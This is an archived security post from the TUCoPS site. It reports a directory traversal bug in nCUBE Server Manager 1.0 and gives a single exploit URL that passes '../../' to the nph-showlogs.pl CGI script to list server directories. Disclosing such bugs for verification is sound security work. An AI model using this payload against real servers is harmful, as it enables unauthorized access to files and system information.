TUCoPS :: Web :: Apps :: bt1671.txt

nCUBE Server Manager CGI:




can anybody verify this bug in 

nCUBE Server Manager (nSM) Version 1.0



i found a server where i can do a Directory Traversal!

using the following url:



http://server.com/cgi-bin/nph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0







TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH